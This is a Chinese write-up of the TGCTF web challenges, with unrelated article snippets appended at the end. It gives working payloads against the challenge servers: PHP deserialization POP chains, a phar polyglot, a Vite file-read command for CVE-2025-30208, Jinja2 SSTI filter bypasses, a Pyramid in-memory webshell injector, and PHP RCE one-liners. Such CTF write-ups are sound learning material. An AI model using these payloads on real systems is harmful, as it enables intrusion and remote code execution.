当前位置: 首页 > news >正文

TGCTF web

AAA偷渡阴平

这个题是一个非预期的无参RCE

<?php$tgctf2025=$_GET['tgctf2025'];if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushieval($tgctf2025);
}
else{die('(╯‵□′)╯炸弹!•••*~●');
}highlight_file(__FILE__); 

这里只给了数字2,所有的字母,和一些符号 ,这里貌似是过滤了(),但是仔细看的话可以发现这里的括号其实是中文,也就是等于没有过滤。

先说下无参RCE的打法。

http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(getallheaders());

在这里插入图片描述

http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(next(getallheaders()));

这里通过next获得Pragma这个参数,这个参数是我们可以控制的。

在这里插入图片描述
这样在外边在套上一层eval就可以了

在这里插入图片描述

什么文件上传

在这里插入图片描述
开题一个文件上传点,尝试之后发无论上传什么内容都会报错,无法成功上传。

爆破一下路径发现robots.txt

在这里插入图片描述
这里重点看一下class.php

看到源代码

<?phphighlight_file(__FILE__);error_reporting(0);function best64_decode($str){return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));}class yesterday {public $learn;public $study="study";public $try;public function __construct(){$this->learn = "learn<br>";}public function __destruct(){echo "You studied hard yesterday.<br>";return $this->study->hard();}}class today {public $doing;public $did;public $done;public function __construct(){$this->did = "What you did makes you outstanding.<br>";}public function __call($arg1, $arg2){$this->done = "And what you've done has given you a choice.<br>";echo $this->done;if(md5(md5($this->doing))==666){return $this->doing();}else{return $this->doing->better;}}}class tommoraw {public $good;public $bad;public $soso;public function __invoke(){$this->good="You'll be good tommoraw!<br>";echo $this->good;}public function __get($arg1){$this->bad="You'll be bad tommoraw!<br>";}}class future{private $impossible="How can you get here?<br>";private $out;private $no;public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;public function __set($arg1, $arg2) {if ($this->out->useful7) {echo "Seven is my lucky number<br>";system('whoami');}}public function __toString(){echo "This is your future.<br>";system($_POST["wow"]);return "win";}public function __destruct(){$this->no = "no";return $this->no;}}if (file_exists($_GET['filename'])){echo "Focus on the previous step!<br>";}else{$data=substr($_GET['filename'],0,-4);unserialize(best64_decode($data));}// You learn yesterday, you choose today, can you get to your future?
?> 

一个简单的pop链子,整体的利用是:

yesterday -> __destruct
today -> __call
tommoraw -> toString 之后触发危险函数

这里的一个点是md5()处理一个对象的时候,会首先调用这个对象的toString
但是这里要注意一下参数的处理,接收到参数之后,多次进行base64解码,然后截取到倒数第四个字符,所以我们构造poc的时候,要预先多次base64编码,然后拼接上4个多余的字符。

<?php  function best64_encode($str)  
{  return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
}  class future{  }  class today {  public $doing;  public function __construct() {  $this->doing = new future();  }  
}  class yesterday {  public $learn;  public $study;  public $try;  public function __construct() {  $this->study = new today();  }  
}  $a=new yesterday();  
echo best64_encode(serialize($a))."1234";

在这里插入图片描述

前端GAME

在这里插入图片描述
简单玩一下游戏,直接结束掉,发现提示要读取/tgflagggg下的flag
这里后边看了下js代码,发现只要分数高于17就会有这个提示,显然这个题的考点不在这个题目的分数上,然后考虑怎么读取flag,直接访问肯定是访问不到的,这时候看下题目的代码依赖。

在这里插入图片描述
发现了这里的vite想起这里是有一个任意文件读取的漏洞的,简单搜索一下得到CVE-2025-30208

参考文章

根据文章当中的

curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"

构造我们这个题的poc

curl "http://node2.tgctf.woooo.tech:30758/@fs/tgflagggg?import&raw??"

在这里插入图片描述

火眼辩魑魅

这个题,好像又是被我非掉了

还是找到了这里的robots.txt

在这里插入图片描述
这里每个php文件对应一个考察点,但是题目说只有一个洞是可行的,那么就挨个看一下

在这里插入图片描述
第一个文件上传,我当时做的时候,反正是没有任何权限,直接放弃这个点

在这里插入图片描述
这里直接给了源代码,并且直接eval考虑利用一下 。直接打是存在过滤的,应该是过滤掉了各种危险函数,但是这里可以拼接绕过一下。

shell=$a="syst"."em";$a('cat /tgfffffllllaagggggg');

在这里插入图片描述
之后找出题人聊了一下

在这里插入图片描述
发现是非预期,于是继续看下其他的点

在这里插入图片描述
预期解是这里的ssti,就不复现了

在这里插入图片描述
这个是反序列化的pop链,最后Sinkphp原生类,但是这里黑名单太多了,目测没法打。

直面天命

该说不说这个题属于有点套了

在这里插入图片描述
不懂是啥

在这里插入图片描述
源码当中发现/hint路由

在这里插入图片描述
这里没办法只能是多线程爆破一下,这里可以让GPT写个脚本,多线程还是很快的,这里找到了aazz

在这里插入图片描述
提示说这个页面可以传参数,这里有点谜语人,手动fuzz几个常见的参数最后发现是filename,并且这里存在任意文件读取的问题。

在这里插入图片描述
然后尝试读取源代码

http://node2.tgctf.woooo.tech:30666/aazz?filename=app.py

在这里插入图片描述

import os  
import string  
from flask import Flask, request, render_template_string, jsonify, send_from_directory  
from a.b.c.d.secret import secret_key  app = Flask(__name__)  black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']  
def waf(name):  for x in black_list:  if x in name.lower():  return True  return Falsedef is_typable(char):  # 定义可通过标准 QWERTY 键盘输入的字符集  typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace  return char in typable_chars  @app.route('/')  
def home():  return send_from_directory('static', 'index.html')  @app.route('/jingu', methods=['POST'])  
def greet():  template1=""  template2=""  name = request.form.get('name')  template = f'{name}'  if waf(name):  template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{  url_for("static", filename="3.jpeg") }}" alt="Image">'  else:  k=0  for i in name:  if is_typable(i):  continue  k=1  break  if k==1:  if not (secret_key[:2] in name and secret_key[2:]):  template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{  url_for("static", filename="4.jpeg") }}" alt="Image">'  return render_template_string(template)  template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"  template= template.replace("直面","{{").replace("天命","}}")  template = template  if "cat" in template:  template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{  url_for("static", filename="2.jpeg") }}" alt="Image">'  try:  return template1+render_template_string(template)+render_template_string(template2)  except Exception as e:  error_message = f"500报错了,查询语句如下:<br>{template}"  return error_message, 400  @app.route('/hint', methods=['GET'])  
def hinter():  template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"  return render_template_string(template)  @app.route('/aazz', methods=['GET'])  
def finder():  filename = request.args.get('filename', '')  if filename == "":  return send_from_directory('static', 'file.html')  if not filename.replace('_', '').isalnum():  content = jsonify({'error': '只允许字母和数字!'}), 400  if os.path.isfile(filename):  try:  with open(filename, 'r') as file:  content = file.read()  return content  except Exception as e:  return jsonify({'error': str(e)}), 500  else:  return jsonify({'error': '路径不存在或者路径非法'}), 404  if __name__ == '__main__':  app.run(host='0.0.0.0', port=80)

在这里插入图片描述
重点在这个路由,但是这里过滤掉了{{}},但是后边的处理是替换成了直面天命,就是ssti的那些poc在这里把{{}}替换成直面天命就行,再次看下黑名单。

black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']

这些地方都是可以通过拼接实现绕过的,拿出珍藏的poc在这里改一下

直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("env")|attr("re"+"ad")()天命

这里poc应该是很多的,但是这里有这样的替换,无法直接使用fenjing进行。

直面lipsum|attr("\u005f\u005fglo"+"bals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("o"+"s")|attr("po"+"pen")("tac /f*")|attr("re"+"ad")()天命

在这里插入图片描述

熟悉的配方,熟悉的味道

from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoadereval_globals = { #防止eval执行恶意代码'__builtins__': {},      # 禁用所有内置函数'__import__': None       # 禁止动态导入
}def checkExpr(expr_input):expr = re.split(r"[-+*/]", expr_input)print(exec(expr_input))if len(expr) != 2:return 0try:int(expr[0])int(expr[1])except:return 0return 1def home_view(request):expr_input = ""result = ""if request.method == 'POST':expr_input = request.POST['expr']if checkExpr(expr_input):try:result = eval(expr_input, eval_globals)except Exception as e:result = eelse:result = "爬!"template_str = 【xxx】env = Environment(loader=BaseLoader())template = env.from_string(template_str)rendered = template.render(expr_input=expr_input, result=result)return Response(rendered)if __name__ == '__main__':with Configurator() as config:config.add_route('home_view', '/')config.add_view(home_view, route_name='home_view')app = config.make_wsgi_app()server = make_server('0.0.0.0', 9040, app)server.serve_forever()

这里输入expr,会首先进到checkExpr这个方法当中,仔细看一下这里

def checkExpr(expr_input):expr = re.split(r"[-+*/]", expr_input)print(exec(expr_input))if len(expr) != 2:return 0try:int(expr[0])int(expr[1])except:return 0return 1

首先根据四则运算符进行分割,然后直接进行exec,所以这里存在命令执行,但是无法直接拿到回显,并且不出网,那么就是经典的内存马利用环节了。

参考文章

import requests  
code='''  
def waff():  def f():        yield g.gi_frame.f_back  g = f()    frame = next(g)       b = frame.f_back.f_back.f_globals  def hello(request):        code = request.POST['code']        res=eval(code)        return Response(res)  config.add_route('shellb', '/shellb')    config.add_view(hello, route_name='shellb')    config.commit()  
waff()  
'''  url=""  
#url="http://127.0.0.1:9040/"  
data={  "expr":f"{code}+1"  
}  r=requests.post(url=url,data=data)

借助这个脚本写入内存马,之后访问一下直接rce

在这里插入图片描述

TG_wordpress

最幽默的一题,没去打,根据描述找了下常见的CVE

TGCTF{CVE-2020-25213}

什么文件上传?(复仇

对之前的非预期做了修复

<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{return base64_encode(md5(base64_encode(md5($str))));}
class yesterday {public $learn;public $study="study";public $try;public function __construct(){$this->learn = "learn<br>";}public function __destruct(){echo "You studied hard yesterday.<br>";return $this->study->hard();}
}
class today {public $doing;public $did;public $done;public function __construct(){$this->did = "What you did makes you outstanding.<br>";}public function __call($arg1, $arg2){$this->done = "And what you've done has given you a choice.<br>";echo $this->done;if(md5(md5($this->doing))==666){return $this->doing();}else{return $this->doing->better;}}
}
class tommoraw {public $good;public $bad;public $soso;public function __invoke(){$this->good="You'll be good tommoraw!<br>";echo $this->good;}public function __get($arg1){$this->bad="You'll be bad tommoraw!<br>";}}
class future{private $impossible="How can you get here?<br>";private $out;private $no;public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;public function __set($arg1, $arg2) {if ($this->out->useful7) {echo "Seven is my lucky number<br>";system('whoami');}}public function __toString(){echo "This is your future.<br>";system($_POST["wow"]);return "win";}public function __destruct(){$this->no = "no";return $this->no;}
}
if (file_exists($_GET['filename'])){echo "Focus on the previous step!<br>";
}
else{$data=substr($_GET['filename'],0,-4);unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?> 

这里主要重写了best64_decode函数,导致我们无法控制这里的filename触发反序列化,但是根据file_exists和文件上传点,考虑phar反序列化。

现在的问题是,如何上传文件呢。

在这里插入图片描述
根据这里的提示,允许的后缀名是三个小写字母,还是需要进行爆破,这里爆出来的后缀是atg

<?php  function best64_encode($str)  
{  return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));  
}  class future{  }  class today {  public $doing;  public function __construct() {  $this->doing = new future();  }  
}  class yesterday {  public $learn;  public $study;  public $try;  public function __construct() {  $this->study = new today();  }  
}  $a=new yesterday();  $phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub  
$phar->setMetadata($a); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
$phar->stopBuffering();

稍微修改下之前的poc,生成一个phar文件,然后上传,之后借助phar协议读取这个文件 触发反序列化。

在这里插入图片描述

AAA偷渡阴平(复仇)

<?php$tgctf2025=$_GET['tgctf2025'];if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushieval($tgctf2025);
}
else{die('(╯‵□′)╯炸弹!•••*~●');
}highlight_file(__FILE__);

这里修复了这些无参rce可以利用的函数,这里卡了很久,最终找到

http://node2.tgctf.woooo.tech:31109/?tgctf2025=session_start();system(hex2bin(session_id());

在这里插入图片描述

天命复仇

这里把waf拿出来在本地搭建一下,然后丢到fenjing当中直接能跑出来

import requests
url="http://node1.tgctf.woooo.tech:31535/jingu"poc="""天命((joiner["\\x5f\\x5f\\x69\\x6e\\x69\\x74\\x5f\\x5f"]["\\x5f\\x5f\\x67\\x6c\\x6f\\x62\\x61\\x6c\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f"]["\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f"]('o''s'))['p''open']('cat /tg*'))['r''ead']()难违"""
data={"name": poc
}
r=requests.post(url=url,data=data)print(r.text)

相关文章:

TGCTF web

AAA偷渡阴平 这个题是一个非预期的无参RCE <?php$tgctf2025$_GET[tgctf2025];if(!preg_match("/0|1|[3-9]|\~|\|\|\#|\\$|\%|\^|\&|\*|\&#xff08;|\&#xff09;|\-|\|\|\{|\[|\]|\}|\:|\|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){//hi…...

RTPS数据包分析

DDS-RTPS 常见子消息_dds pdp消息-CSDN博客Fast RTPS原理与代码分析(3)&#xff1a;动态发现协议之端点发现协议EDP_fast-rtps 原理-CSDN博客 在RTPS&#xff08;Real-Time Publish-Subscribe&#xff0c;实时发布订阅&#xff09;协议中&#xff0c;DATA(r)和DATA是两种不同的…...

go语言gRPC使用流程

1. 安装工具和依赖 安装 Protocol Buffers 编译器 (protoc) 下载地址&#xff1a;https://github.com/protocolbuffers/protobuf/releases 使用说明&#xff1a;https://protobuf.dev/ 【centos环境】yum方式安装&#xff1a;protoc[rootlocalhost demo-first]# yum install …...

回溯算法的要点

可以用树结构&#xff08;解空间树&#xff09;来表示用回溯法解决的问题的所有选项。 叶节点则对应着最终的状态. 回溯过程&#xff1a;深度遍历&#xff0c;在任意时刻&#xff0c;算法只保存从根结点到当前结点的路径。 “剪枝”&#xff1a;当某一节点不包含问题的解&am…...

爬虫: 一文掌握 pycurl 的详细使用(更接近底层,性能更高)

更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、PycURL概述1.1 PycURL介绍1.2 基本安装1.3 安装依赖(Linux/macOS)1.4 常用选项参考二、基本使用2.1 简单 GET 请求2.2 获取响应信息2.3 设置请求头2.4 超时设置2.5 跟随重定向三、高级功能3.1 POST 请求3.2 文件上…...

大模型文生图

提示词分4个部分&#xff1a;质量&#xff0c;主体&#xff0c;元素&#xff0c;风格 质量&#xff1a;杰作&#xff0c;高质量&#xff0c;超细节&#xff0c;完美的精度&#xff0c;高分辨率&#xff0c;大师级的&#xff1b; 权重&#xff1a;把图片加括号&#xff0c;&am…...

c# AI编程助手 — Fitten Code

前言 前有Copilot各种酷炫操作&#xff0c;今有国产软件杀出重围。给大家介绍的是一款国内的国产编程神器&#xff0c;可与微软GitHub Copilot比比身手。关键它还是完全免费。它就是&#xff1a;非十团队国产自主研发的Fitten Code。此工具的速度是GitHub Copilot的两倍&#x…...

《植物大战僵尸融合版v2.4.1》,塔防与创新融合的完美碰撞

《植物大战僵尸融合版》是基于经典塔防游戏《植物大战僵尸》的创意同人改版&#xff0c;由“蓝飘飘fly”等开发者主导制作。它在保留原版核心玩法的基础上&#xff0c;引入了独特的植物融合机制&#xff0c;玩家可以将不同的植物进行组合&#xff0c;创造出全新的植物种类&…...

深度学习总结(12)

层:深度学习的基础模块 神经网络的基本数据结构是层。层是一个数据处理模块&#xff0c;它接收一个或多个张量作为输入&#xff0c;并输出一个或多个张量。有些层是无状态的&#xff0c;但大多数层具有状态&#xff0c;即层的权重。权重是利用随机梯度下降学到的一个或多个张量…...

pyqt环境配置

文章目录 1 概述2 PyQt6和PySide6区别3 环境配置4 配置PySide65 配置PyQt66 配置外部工具7 添加模板8 使用pyside6-project构建工程9 常见错误10 相关地址 更多精彩内容&#x1f449;内容导航 &#x1f448;&#x1f449;Qt开发 &#x1f448;&#x1f449;python开发 &#x1…...

YOLO11改进——融合BAM注意力机制增强图像分类与目标检测能力

深度学习在计算机视觉领域的应用取得了显著进展&#xff0c;尤其是在目标检测&#xff08;Object Detection&#xff09;和图像分类&#xff08;Image Classification&#xff09;任务中。YOLO&#xff08;You Only Look Once&#xff09;系列算法凭借其高效的单阶段检测框架和…...

考研单词笔记 2025.04.14

amount n数量&#xff0c;数额v&#xff08;数量&#xff09;达到&#xff0c;总计&#xff08;to&#xff09;&#xff0c;意味着&#xff0c;相当于 couple n一对&#xff0c;一双&#xff0c;一些&#xff0c;几个&#xff0c;夫妻&#xff0c;情侣v连接&#xff0c;结合 …...

AI云游戏盒子:未来娱乐的新纪元

AI云游戏盒子&#xff1a;未来娱乐的新纪元 随着科技的不断进步&#xff0c;人工智能&#xff08;AI&#xff09;与云计算技术的结合正在重新定义我们享受数字娱乐的方式。2025年&#xff0c;一款名为“AI云游戏盒子”的产品正逐渐成为家庭娱乐的核心设备&#xff0c;它不仅集…...

第八章 文件操作

第八章 文件操作 文章目录 第八章 文件操作1 文件读取1 将文件整个读取内存2 按字节读取文件 1 文件读取 1 将文件整个读取内存 类似于python的 with open(filename, modert, encodingutf-8) as f:res f.read()go中的书写方式&#xff1a; 方式一&#xff1a; package ma…...

《extern:如何在编译时“暗通款曲“》

C中extern关键字的完整用法总结 extern是C中管理链接性&#xff08;linkage&#xff09;的重要关键字&#xff0c;主要用于声明外部定义的变量或函数。以下是详细的用法分类和完整示例&#xff1a; 一、基本用法 1. 声明外部全局变量 // globals.cpp int g_globalVar 42; …...

活动图与流程图的区别与联系:深入理解两种建模工具

目录 前言1. 活动图概述1.1 活动图的定义1.2 活动图的基本构成要素1.3 活动图的应用场景 2. 流程图概述2.1 流程图的定义2.2 流程图的基本构成要素2.3 流程图的应用场景 3. 活动图与流程图的联系4. 活动图与流程图的区别4.1 所属体系不同4.2 表达能力差异4.3 使用目的与语境4.4…...

FinanceRAG获奖方案解读:ACM-ICAIF ’24的FinanceRAG挑战赛

ACM-ICAIF 24 FinanceRAG Challenge提供一套整合的文本和表格财务数据集。这些数据集旨在测试系统检索和推理财务数据的能力。参与者将受益于 Github 上的基线示例和官方提交代码&#xff0c;其位于FinanceRAG&#xff0c;以及在 huggingface 上的简化的数据集访问&#xff0c;…...

Linux LED驱动(gpio子系统)

0. gpio子系统 gpio子系统是linux内核当中用于管理GPIO资源的一套系统&#xff0c;它提供了很多GPIO相关的API接口&#xff0c;驱动程序中使用GPIO之前需要向gpio子系统申请。 gpio子系统的主要目的就是方便驱动开发者使用gpio&#xff0c;驱动开发者在设备树中添加gpio相关信息…...

场外期权交易和结算方式的区别是什么?

场外期权交易的核心在于双方协商一致的合约条款。这些条款包括但不限于期权的类型&#xff08;看涨或看跌&#xff09;、执行价格、到期日、合约规模以及支付的期权费。由于每份合约都是独一无二的&#xff0c;因此交易双方需要具备高度的专业知识和谈判技巧&#xff0c;下文为…...

自注意力的机制内涵和设计逻辑

在自注意力机制中&#xff0c;查询&#xff08;Q&#xff09;、键&#xff08;K&#xff09;和值&#xff08;V&#xff09;的交互过程是核心设计&#xff0c;其背后的数学和语义内涵可以从以下角度理解&#xff1a; 1. 数学视角&#xff1a;动态加权聚合 自注意力机制的公式可…...

VIM学习笔记

1. ex模式 vim中&#xff0c;按&#xff1a;触发的命令行模式&#xff0c;称为 ex模式&#xff0c;具体命令参见如下笔记&#xff1a; https://blog.csdn.net/u010250151/article/details/51868751?ops_request_misc%257B%2522request%255Fid%2522%253A%2522814b671a9898c95…...

Windows系统docker desktop安装(学习记录)

目前在学习docker&#xff0c;在网上扒了很多老师的教程&#xff0c;终于装好了&#xff0c;于是决定再装一遍做个记录&#xff0c;省的以后再这么麻烦 一&#xff1a;什么是docker Docker 是一个开源的应用容器引擎&#xff0c;它可以让开发者打包他们的应用以及依赖包到一个…...

操作系统学习笔记——[特殊字符]超详细 | 如何唤醒被阻塞的 socket 线程?线程阻塞原理、线程池、fork/vfork彻底讲明白!

&#x1f4a1;超详细 | 如何唤醒被阻塞的 socket 线程&#xff1f;线程阻塞原理、线程池、fork/vfork彻底讲明白&#xff01; 一、什么是阻塞&#xff1f;为什么线程会阻塞&#xff1f;二、socket线程被阻塞的典型场景&#x1f9e0; 解法思路&#xff1a; 三、线程的几种阻塞状…...

GIC驱动程序对中断的处理流程

承接上一篇&#xff0c;我们来讲讲GIC的处理流程&#xff1a; 我们先来看看老版本的CPU是怎么去处理中断的&#xff1a; 这种的话&#xff0c;基本上就是一开始就确定你有多少个中断&#xff0c;就为你分配好了多少个irq_desc&#xff0c;这样子每一个硬件中断&#xff0c;也就…...

罗庚机器人:机器人打磨领域的先行者

近日&#xff0c;记者在广东罗庚机器人有限公司&#xff08;以下简称罗庚机器人&#xff09;总经理蒲小平处了解到&#xff0c;该公司是一家研发与为客户提供高精度自适应机器人打磨抛光集成工艺的高科技企业&#xff0c;是机器人打磨领域的先行者。在国内外机器人打磨抛光应用…...

如何在 Java 中对 PDF 文件进行数字签名(教程)

Java 本身并不原生支持 PDF 文件&#xff0c;因此若要对 PDF 进行数字签名&#xff0c;您需要使用一些专用的软件。本教程将演示如何使用 JPedal PDF 库来对 PDF 文件进行数字签名。 步骤&#xff1a; • 下载 JPedal 并将 Jar 文件添加到项目中 • 创建一个 PKCS#12 密…...

一文了解:北斗短报文终端是什么,有哪些应用场景?

在通信技术飞速发展的今天&#xff0c;人们已习惯于依赖地面基站和互联网实现即时通信。然而&#xff0c;当自然灾害突发、远洋航行遇险或深入无人区勘探时&#xff0c;传统通信手段往往失效。北斗短报文终端——这一由中国自主研发的卫星通信技术&#xff0c;正以“无网络通信…...

【KWDB创作者计划】_KWDB应用之实战案例

【KWDB 2025 创作者计划】_KWDB应用之实战案例 本文是在完成KWDB数据库安装的情况下的操作篇&#xff0c;关于KWDB的介绍与安装部署&#xff0c;可以查看上一篇博客: https://blog.itpub.net/70045384/viewspace-3081187/ https://blog.csdn.net/m0_38139250/article/details/…...

JavaScript中的运算符与语句:深入理解编程的基础构建块

# JavaScript中的运算符与语句&#xff1a;深入理解编程的基础构建块 在JavaScript编程的世界里&#xff0c;运算符和语句就像是构建大厦的基石&#xff0c;它们是编写高效、灵活代码的基础。今天&#xff0c;我们就来深入了解一下这些重要的元素。 ## 一、运算符&#xff1a;…...

MySQL——学习InnoDB(1)

MySQL——学习InnoDB&#xff08;1&#xff09; 文章目录 MySQL——学习InnoDB&#xff08;1&#xff09;1. InnoDB的前世今生1.1 诞生发展1.2 核心设计1.3 关键进化 2. InnoDB和MyISAM在性能和安全上的区别2.1 性能对比2.2 安全对比 3. InnoDB架构图&#xff08;内存结构磁盘结…...

QT中多线程写法

转自个人博客&#xff1a;QT中多线程写法 1. QThread及moveToThread() 使用情况&#xff1a; 多使用于需要将有着复杂逻辑或需要一直占用并运行的类放入子线程中执行的情况&#xff0c;moveToThread是将整个类的对象移入子线程。 优缺点&#xff1a; 优点&#xff1a;更符合…...

css 二维码始终显示在按钮的正下方,并且根据不同的屏幕分辨率自动调整位置

一、需求 “求职入口” 下面的浮窗位置在其正下方&#xff0c;并且浏览器分辨的改变&#xff08;拖动浏览器&#xff09;&#xff0c;位置依旧在最下方 二、实现 <div class"btn_box"><div class"btn_link id"js-apply">求职入口<di…...

STM32 认识STM32

目录 什么是嵌入式&#xff1f; 认识STM32单片机 开发环境安装 安装开发环境 开发板资源介绍 单片机开发模式 创建工程的方式 烧录STM32程序 什么是嵌入式&#xff1f; 1.智能手环项目 主要功能有&#xff1a; 彩色触摸屏 显示时间 健康信息&#xff1a;心率&#…...

关于 CSDN的C知道功能模块 的详细解析,包括 新增的AI搜索(可选深度思考) 和 智能体功能 的具体说明及对比分析

以下是关于 CSDN的C知道功能模块 的详细解析&#xff0c;包括 新增的AI搜索&#xff08;可选深度思考&#xff09; 和 智能体功能 的具体说明及对比分析&#xff1a; 一、C知道核心功能模块详解&#xff08;基础功能&#xff09; &#xff08;参考前文内容&#xff0c;此处略…...

Vue--组件练习案例

图片轮播案例&#xff1a; <!DOCTYPE html><html lang"en"><head><meta charset"UTF-8"><title>Title</title></head><body><!--轮播图片--><div id"app"><h1>轮播图</h1…...

Sentinel源码—1.使用演示和简介一

大纲 1.Sentinel流量治理框架简介 2.Sentinel源码编译及Demo演示 3.Dashboard功能介绍 4.流控规则使用演示 5.熔断规则使用演示 6.热点规则使用演示 7.授权规则使用演示 8.系统规则使用演示 9.集群流控使用演示 1.Sentinel流量治理框架简介 (1)与Sentinel相关的问题 …...

空间信息可视化——WebGIS前端实例(二)

技术栈&#xff1a;原生HTML 源代码&#xff1a;CUGLin/WebGIS: This is a project of Spatial information visualization 5 水质情况实时监测预警系统 5.1 系统设计思想 水安全是涉及国家长治久安的大事。多年来&#xff0c;为相应国家战略&#xff0c;诸多地理信息领域的…...

高并发内存池(前言介绍)

高并发内存池项目介绍 1.项目介绍2.项目的知识储备要求3.了解池化技术及内存池4.本次项目中内存池解决的问题5.malloc 1.项目介绍 此项目是实现一个高并发的内存池&#xff0c;它的原型是google的一个开源项目tcmalloc&#xff0c;tcmalloc全程Thread-Caching Malloc&#xff…...

误译、值对象和DDD伪创新-《分析模式》漫谈56

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集 “Analysis Patterns”的第14章“类型模型设计模板模式”原文&#xff1a; Examples of such object types are the classic built-in data types of programming environments: inte…...

Java单例模式:实现全局唯一对象的艺术

精心整理了最新的面试资料和简历模板&#xff0c;有需要的可以自行获取 点击前往百度网盘获取 点击前往夸克网盘获取 一、什么是单例模式&#xff1f; 单例模式&#xff08;Singleton Pattern&#xff09;是一种创建型设计模式&#xff0c;确保一个类只有一个实例&#xff0c…...

机器学习项目二:帕金森病检测

目录 下载数据 一、导入相关包 二、数据加载 三、特征工程 四、构建模型 五、评估与可视化 六、程序流程 七、完整代码 一、导入相关包 # 导入库部分 import numpy as np # 数值计算基础库 import pandas as pd # 数据处理库 from sklearn.preprocessing import MinMaxS…...

FreeDogs:AI、区块链与迷因文化的深度融合

引言 在 Web3 时代&#xff0c;人工智能&#xff08;AI&#xff09;、区块链技术和迷因文化的结合催生了一种全新的去中心化生态系统。FreeDogs 项目作为这一领域的创新代表&#xff0c;通过独特的技术与文化融合模式迅速受到关注。它利用 AI 驱动的智能营销网络推动迷因文化的…...

《组合优于继承:构建高内聚低耦合模块的最佳实践》

《组合优于继承:构建高内聚低耦合模块的最佳实践》 一、引言:编程范式中的选择 在软件设计中,继承和组合是两个重要的设计模式。继承(Inheritance)常被用来实现代码复用,但滥用继承容易导致脆弱的类层次结构,增加耦合度和维护成本。而组合(Composition)通过将功能分解…...

机器学习02——RNN

一、RNN的基本概念 定义 循环神经网络&#xff08;Recurrent Neural Network&#xff0c;RNN&#xff09;是一种用于处理序列数据的神经网络架构。它与传统的前馈神经网络&#xff08;如多层感知机&#xff09;不同&#xff0c;RNN具有“记忆”功能&#xff0c;能够利用前一时…...

Java基础——面试自我总结

1、String类中常用方法和equals区别 答&#xff1a;对于和equals这两个都是用来比较判断是否相等&#xff0c;其中用来判断两个变量的值是否相等&#xff0c;变量的值的类型分为基本数据类型和引用数据类型。对于&#xff0c;基本数据类型是直接进行值比较&#xff0c;而对于引…...

低功耗设计:Level Shift的种类(以SAED EDK 32/28nm工艺库为例)

在多电压设计中&#xff0c;当信号从一个电压域跨越到另一个电压域时&#xff0c;需要使用电压转换器(Level Shift)。它的工作方式类似于缓冲器&#xff0c;但其输入和输出使用不同的电压&#xff0c;作用是将一个逻辑信号从一个电压转换为另一个电压&#xff0c;并在输入到输出…...

UE5 Chaos :渲染网格体 (Render Mesh) 和模拟网格体 是如何关联的?为什么模拟网格体 可以驱动渲染网格体?

官方文献&#xff1a;https://dev.epicgames.com/community/learning/tutorials/pv7x/unreal-engine-panel-cloth-editor 这背后的核心是一种常见的计算机图形学技术&#xff0c;通常称为代理绑定 (Proxy Binding) 或 表面变形传递 (Surface Deformation Transfer)。 关联机制…...

Fiddler为什么可以看到一次HTTP请求数据?

